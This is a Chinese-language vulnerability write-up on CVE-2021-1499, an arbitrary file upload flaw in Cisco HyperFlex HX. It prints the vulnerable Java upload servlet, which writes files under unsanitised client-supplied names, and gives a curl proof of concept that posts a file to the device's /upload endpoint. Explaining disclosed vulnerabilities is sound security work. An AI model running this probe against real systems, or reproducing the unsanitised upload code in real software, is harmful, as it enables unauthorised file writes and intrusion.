# Cisco HyperFlex HX upload 任意文件上传漏洞 CVE-2021-1499

## 漏洞描述

思科在研究人员Nikita Abramov和Mikhail Klyuchnikov发现的HyperFlex HX数据平台中修复了两个Unauth RCE和一个任意文件上载

## 漏洞影响

```
Cisco HyperFlex HX
```

## 漏洞复现

出现漏洞的代码为

```java
public void doPost(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {
    this.isMultipart = ServletFileUpload.isMultipartContent(request);
    response.setContentType("application/json");
    PrintWriter out = response.getWriter();
    if (!this.isMultipart) {
      out.println("{\"result\": \"Invalid content-type.\"}");
      logger.error("{\"result\": \"Invalid content-type. Must be multi-part\"}");
      response.setStatus(400);
      return;
    }
    ServletFileUpload upload = new ServletFileUpload();
    upload.setSizeMax(this.maxFileSize);
    FileOutputStream fout = null;
    InputStream stream = null;
    try {
      FileItemIterator iter = upload.getItemIterator(request);
      while (iter.hasNext()) {
        try {
          FileItemStream fi = iter.next();
          stream = fi.openStream();
          String uploadedFileName = this.dirPath + "/" + fi.getName();
          File uploadedFile = new File(uploadedFileName);
          fout = new FileOutputStream(uploadedFile);
          byte[] buffer = new byte[1024];
          int len;
          while ((len = stream.read(buffer, 0, buffer.length)) != -1)
            fout.write(buffer, 0, len);
          out.println("{\"result\": \"filename: " + uploadedFileName + "\"}");
          logger.debug("{\"result\": \"filename: " + uploadedFileName + "\"}");
        } catch (org.apache.commons.fileupload.MultipartStream.MalformedStreamException ex) {
          logger.info("MalformedStreamException during file upload servlet stream processing: " + ex);
        } finally {
          if (fout != null) {
            logger.info("Closing fout");
            fout.close();
          }
          if (stream != null) {
            logger.info("Closing stream");
            stream.close();
          }
        }
      }
    } catch (Exception ex) {
      out.println("{\"result\": \"Upload failed: " + ex.getMessage() + "\"}");
      logger.error("{\"result\": \"Upload failed: " + ex.getMessage() + "\"}");
      logger.error("Exception during file upload servlet stream processing: " + ex);
      response.setStatus(500);
    }
```

POC为

```plain
curl -v http://xxx.xxx.xxx.xxx/upload -F x=@/dev/null
```